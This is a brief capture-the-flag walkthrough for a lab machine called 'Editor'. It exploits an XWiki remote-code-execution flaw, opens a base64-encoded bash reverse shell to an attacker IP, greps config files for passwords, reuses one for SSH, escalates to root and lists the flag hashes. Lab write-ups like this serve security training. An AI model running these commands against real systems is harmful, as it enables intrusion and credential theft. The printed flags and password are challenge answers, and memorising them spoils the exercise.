Editor¶

Initial Scan¶

Discovered open port 22/tcp on 10.10.11.80
Discovered open port 80/tcp on 10.10.11.80

Port 22 is SSH, port 80 is HTTP.

Enumeration¶

The web server hosts XWiki. The application is vulnerable to CVE-2025-24893, a server-side template injection that leads to remote code execution.

Exploitation¶

XWiki RCE (CVE-2025-24893)¶

Using the PoC:

python CVE-2025-24893-PoC.py -u http://wiki.editor.htb/xwiki -c 'cat /etc/passwd'

Verify code execution. Then deploy a reverse shell:

echo "bash -i >& /dev/tcp/10.10.14.37/4444 0>&1" | base64

python CVE-2025-24893-PoC.py -u http://wiki.editor.htb/xwiki -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNy80NDQ0IDA+JjEK | base64 -d | bash'

Credential Discovery¶

XWiki configuration files contain credentials:

grep -ri "passw" /etc/xwiki
# theEd1t0rTeam99

SSH as oliver¶

The MySQL password is reused for SSH:

sshpass -p "theEd1t0rTeam99" ssh oliver@10.10.11.80

Privilege Escalation¶

CVE-2024-32019¶

Using CVE-2024-32019 PoC, we escalate to root.

Flags¶

user.txt: 00dea7f8ab41fd7b5a7fce0cf93641ba root.txt: 4ec55823c45e1f8131e1709d2a12c77f